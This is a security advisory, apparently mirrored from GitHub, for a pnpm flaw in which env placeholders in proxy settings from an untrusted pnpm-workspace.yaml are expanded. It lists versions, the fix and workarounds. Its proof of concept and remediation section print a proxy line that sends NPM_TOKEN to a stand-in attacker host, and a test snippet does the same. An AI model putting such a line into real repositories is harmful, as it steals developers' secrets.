GHSA-vx52-2968-3vc6: High severity npm/pnpm vulnerability

Published Sep 1, 2026
·
Updated

Summary

pnpm expands ${VAR} environment placeholders in the httpProxy / httpsProxy / noProxy settings read from a project's pnpm-workspace.yaml. Because a project manifest is repository-controlled, a malicious repository that a victim merely clones and runs pnpm install in can route all install traffic through an attacker proxy whose hostname or userinfo embeds — and thereby exfiltrates — an environment secret such as NPMTOKEN or GITHUBTOKEN.

This bypasses a trust boundary pnpm deliberately enforces: env-placeholder expansion of request-destination settings is already suppressed for registry, pnprServer, registries and namedRegistries when they come from an untrusted project manifest, and the sibling .npmrc reader already classifies the proxy keys as request destinations. The manifest-side guard set simply omitted them.

Impact

An attacker who controls only the contents of a repository's pnpm-workspace.yaml — a public repo, a fork, or a supply-chain pull request — can read many values out of the victim's process environment and have them delivered to an attacker-controlled host. No pre-existing access to the victim's store, global config, lockfile, nodemodules, or environment is required. The secret is exfiltrated during config loading, before any lifecycle script runs.

This turns "I can author a project manifest" into "I read the victim's environment secrets."

Affected versions

Introduced in pnpm 10.7.0, which added environment-variable expansion in setting names and values.

- pnpm 11.x: >= 11.0.0, < 11.11.0 - pnpm 10.x: >= 10.7.0, < 10.34.5

The Rust port (pacquet) and the registry server (pnpr) are not affected.

Patches

- pnpm 11.11.0 and later - pnpm 10.34.5 and later

The fix adds httpProxy, httpsProxy, noProxy, proxy and noproxy to the request-destination key set in @pnpm/config.reader (src/getOptionsFromRootManifest.ts), so env placeholders in proxy settings from an untrusted manifest are dropped rather than expanded — matching the existing registry / pnprServer handling and the .npmrc reader's isRequestDestinationValueKey. Regression tests cover the proxy keys.

Workarounds

Upgrade to a patched version. Until then, do not run pnpm commands in an untrusted repository in an environment that holds secrets, or inspect the repository's pnpm-workspace.yaml for proxy settings before installing.

Proof of concept

yaml pnpm-workspace.yaml in an untrusted repository packages: - . httpsProxy: "http://${NPMTOKEN}.collector.attacker.example.com:8080"

With NPMTOKEN set in the victim's environment, pnpm install expands the placeholder and routes install traffic through the attacker's host, whose hostname (and DNS query) carries the token.

Unit level:

js process.env.PNPMTESTTOKEN = 'secret' const o = getOptionsFromPnpmSettings(process.cwd(), { httpsProxy: 'http://${PNPMTESTTOKEN}.evil/' }) // Vulnerable: o.httpsProxy === 'http://secret.evil/' // Patched: o.httpsProxy === undefined

Using registry or pnprServer in place of httpsProxy does not leak on either version — those keys were already guarded, which is what made the proxy keys a hole in an existing boundary rather than an unguarded surface.

Credit

Reported privately. A second finding in the original report — the Authorization header being retained across a same-host https -> http redirect — was assessed and is not treated as a pnpm vulnerability: npm (make-fetch-happen, minipass-fetch), Yarn (got) and reqwest all compare host rather than origin, and a registry that redirects from HTTPS to plaintext HTTP is itself the broken component. That behavior is being discussed publicly at https://github.com/orgs/pnpm/discussions/13598.

Affected Software

2 affected componentsFixes available
npm/pnpm>=10.7.0<10.34.5
10.34.5
npm/pnpm>=11.0.0<11.11.0
11.11.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/pnpm to a version that resolves this vulnerability.

    Fixed in 10.34.5
  2. Upgrade

    Upgrade npm/pnpm to a version that resolves this vulnerability.

    Fixed in 11.11.0
  3. Upgrade

    Upgrade pnpm to a version that resolves this vulnerability.

    Fixed in 10.34.5
  4. Upgrade

    Upgrade pnpm to a version that resolves this vulnerability.

    Fixed in 11.11.0
  5. Configuration

    Do not set request-destination proxy keys (httpsProxy / httpProxy / noProxy / proxy / noproxy) in an untrusted repository's pnpm-workspace.yaml; proxy values containing env placeholders can be expanded and exfiltrate environment secrets during config loading.

    pnpm-workspace.yaml (proxy settings) httpsProxy = http://${NPM_TOKEN}.collector.attacker.example.com:8080
  6. Compensating control

    Until upgraded, do not run pnpm install (or otherwise invoke pnpm commands) in an untrusted repository when the environment contains secrets such as NPM_TOKEN or GITHUB_TOKEN.

  7. Compensating control

    Before installing in a potentially untrusted repo, inspect pnpm-workspace.yaml and ensure it does not contain proxy settings that use env placeholders (httpProxy / httpsProxy / noProxy / proxy / noproxy).

Event History

Sep 1, 2026
Advisory Published
via GitHub·07:22 PM
Data Sourced
via GitHub·07:22 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Which users and workflows are exposed?

Users are exposed when they run pnpm install in a repository whose pnpm-workspace.yaml is controlled by an untrusted party, including a public repository, fork, or supply-chain pull request. The risk is greatest where the pnpm process has environment secrets such as NPM_TOKEN or GITHUB_TOKEN.

2

What access does an attacker need?

The attacker only needs control over the repository's pnpm-workspace.yaml. They do not need pre-existing access to the victim's pnpm store, global configuration, or lockfile.

3

What configuration is used to trigger the issue?

The affected settings are httpProxy, httpsProxy, and noProxy when read from a project's pnpm-workspace.yaml. Environment placeholders in those settings can cause installation traffic to use an attacker-controlled proxy.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203